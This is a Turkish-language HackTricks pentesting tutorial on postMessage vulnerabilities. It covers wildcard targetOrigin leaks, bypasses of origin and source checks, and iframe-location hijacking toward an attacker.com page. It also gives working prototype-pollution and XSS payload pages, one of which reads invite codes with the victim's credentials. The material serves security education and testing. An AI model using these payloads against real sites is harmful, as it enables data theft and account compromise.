hacktricks/pentesting-web/postmessage-vulnerabilities
2024-04-18 04:08:29 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Turkish 2024-02-10 18:14:16 +00:00
bypassing-sop-with-iframes-1.md Translated to Turkish 2024-02-10 18:14:16 +00:00
bypassing-sop-with-iframes-2.md GitBook: No commit message 2024-04-06 19:40:41 +00:00
README.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:08:29 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Turkish 2024-02-10 18:14:16 +00:00

PostMessage Güvenlik Açıkları

PostMessage Güvenlik Açıkları

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

WhiteIntel

WhiteIntel, karanlık web destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}


PostMessage Gönder

PostMessage, bir mesaj göndermek için aşağıdaki işlevi kullanır:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

targetOrigin'in bir '*' veya https://company.com gibi bir URL olabileceğini unutmayın.
İkinci senaryoda, mesaj sadece o alan adına gönderilebilir (pencere nesnesinin kökeni farklı olsa bile).
Joker karakter kullanıldığında, mesajlar herhangi bir alana gönderilebilir ve Pencere nesnesinin kökenine gönderilir.

iframe ve wildcard hedefOrigin saldırısı

Bu rapordaıklandığı gibi, X-Frame-Header koruması olmayan bir sayfa bulursanız ve bu sayfa duyarlı mesajları wildcard (*) kullanarak postMessage ile gönderiyorsa, iframe'in kökenini değiştirerek ve duyarlı mesajı sizin kontrol ettiğiniz bir alan adına sızdırabilirsiniz.
Sayfa iframelenebilir ancak targetOrigin bir URL'ye ayarlanmışsa ve joker karakter kullanılmamışsa, bu hile işe yaramaz.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener sömürüsü

addEventListener, JS tarafından kullanılan ve postMessages bekleyen` işlevi bildirmek için kullanılan bir işlevdir.
Aşağıdaki gibi bir kod kullanılacaktır:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Numaralandırma

Mevcut sayfadaki olay dinleyicilerini bulmak için şunları yapabilirsiniz:

  • JS kodunda window.addEventListener ve $(window).on (JQuery sürümü) arayın
  • Geliştirici araçları konsolunda şunu çalıştırın: getEventListeners(window)

  • Tarayıcının geliştirici araçlarında Öğeler --> Olay Dinleyicileri bölümüne gidin

Köken kontrolü atlamaları

  • event.isTrusted özelliği yalnızca gerçek kullanıcı eylemleri tarafından oluşturulan olaylar için True döndürdüğü için güvenli kabul edilir. Doğru bir şekilde uygulandığında atlanması zor olmasına rağmen, güvenlik kontrollerindeki önemi dikkate değerdir.
  • PostMessage olaylarında köken doğrulaması için indexOf() kullanımı atlanabilir olabilir. Bu zafiyeti gösteren bir örnek:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search() yöntemi olan search() metodu düzenli ifadeler için tasarlanmış olup, dizgiler için değil. Düzenli ifadeden başka bir şey geçirmek, yöntemi potansiyel olarak güvensiz hale getirir. Çünkü düzenli ifadede nokta (.) joker karakter olarak işlev görerek özel olarak oluşturulmuş alanları atlamaya olanak tanır. Örneğin:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() fonksiyonu, search() gibi düzenli ifadeleri işler. Düzenli ifade yanlış yapılandırılmışsa, atlanmaya açık olabilir.

  • escapeHtml fonksiyonu, karakterleri kaçırarak girişleri temizlemek için tasarlanmıştır. Ancak yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğinin hasOwnProperty'yi kabul etmediği şekilde manipüle edilebilirse, escapeHtml beklenildiği gibi çalışmaz. Aşağıdaki örneklerde gösterildiği gibi:

  • Beklenen Başarısızlık:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kaçırma:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Bu zafiyet bağlamında, File nesnesi, salt okunur name özelliği nedeniyle dikkate değer şekilde istismar edilebilir. Bu özellik, şablonlarda kullanıldığında, escapeHtml fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açabilir.

  • JavaScript'teki document.domain özelliği, alanı kısaltmak için bir betik tarafından ayarlanabilir, aynı ana etki alanı içinde daha esnek aynı köken politikası uygulamasına olanak tanır.

e.origin == window.origin atlaması

%%%%%% kullanarak bir web sayfasını kumlanmış bir iframe içine yerleştirirken, iframe'ın kökeninin null olarak ayarlanacağını anlamak önemlidir. Bu, kum özellikleri ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgilenirken özellikle önemlidir.

Sandbox özelliğinde allow-popups belirterek, iframe'den açılan herhangi bir açılır pencere, ebeveyninin kum kısıtlamalarını devralır. Bu, açılır pencerenin kökeninin de null olarak ayarlandığı anlamına gelir. Bu durum, iframe'den açılır pencereye bir mesaj gönderildiğinde ve postMessage kullanılarak, hem gönderen hem de alıcı uçların kökenlerinin null olarak ayarlandığı bir senaryoya yol açar.

Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve bir mesaj iframe'den popup'a gönderildiğinde, hem iframe hem de popup'ın kökenlerinin null olarak ayarlandığı bir senaryoya yol açar. Bu durum, iframe ve popup'ın null == null olarak değerlendirildiği bir senaryoya yol açar, çünkü hem iframe hem de popup, null olan aynı köken değerini paylaşırlar.

Daha fazla bilgi için okuyun:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

e.source Atlatma

Mesajın, betiğin dinlediği pencereden geldiğini kontrol etmek mümkündür (özellikle Tarayıcı uzantılarından İçerik Betikleri için ilginçtir, mesajın aynı sayfadan mı gönderildiğini kontrol etmek için):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

e.source'un bir mesajın iframe oluşturarak zorla null olmasını sağlayabilirsiniz ve hemen silinir.

Daha fazla bilgi için okuyun:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header atlatma

Bu saldırıları gerçekleştirmek için ideal olarak kurban web sayfasını bir iframe içine yerleştirebilirsiniz. Ancak X-Frame-Header gibi bazı başlıklar bu davranışı engelleyebilir.
Bu senaryolarda daha az gizli bir saldırı kullanabilirsiniz. Savunmasız web uygulamasını yeni bir sekmede açabilir ve iletişim kurabilirsiniz:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Ana sayfayı engelleyerek çocuğa gönderilen mesajı çalmak

Aşağıdaki sayfada, duyarlı postmessage verilerini çalan ve verileri göndermeden önce ana sayfayı engelleyen ve verilerin alınmadan önce bir XSS kullanarak sızdıran bir çocuk iframe'ına gönderilen mesajı nasıl çalabileceğinizi görebilirsiniz:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Iframe konumunu değiştirerek mesaj çalmak

Eğer X-Frame-Header olmadan bir iframe içeren bir web sayfasını iframe'leyebilirseniz, o çocuk iframe'ının konumunu değiştirebilirsiniz, böylece bir joker kullanarak gönderilen bir postmessage alıyorsa, bir saldırgan o iframe'ın kökenini kendi tarafından kontrol edilen bir sayfaya değiştirebilir ve mesajı çalabilir:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage ile Prototype Pollution ve/veya XSS

postMessage aracılığıyla gönderilen verilerin JS tarafından yürütüldüğü senaryolarda, sayfayı iframe'leyebilir ve prototype pollution/XSS'yi sömürebilir ve saldırıyı postMessage aracılığıyla göndererek çözebilirsiniz.

Birkaç çok iyi açıklanan XSS örneği, https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html adresinde bulunabilir.

Bir iframe'a Prototype Pollution ve ardından XSS'yi sömüren bir saldırı örneği:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Daha fazla bilgi için:

Referanslar

WhiteIntel

WhiteIntel, şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunan karanlık ağ destekli bir arama motorudur.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: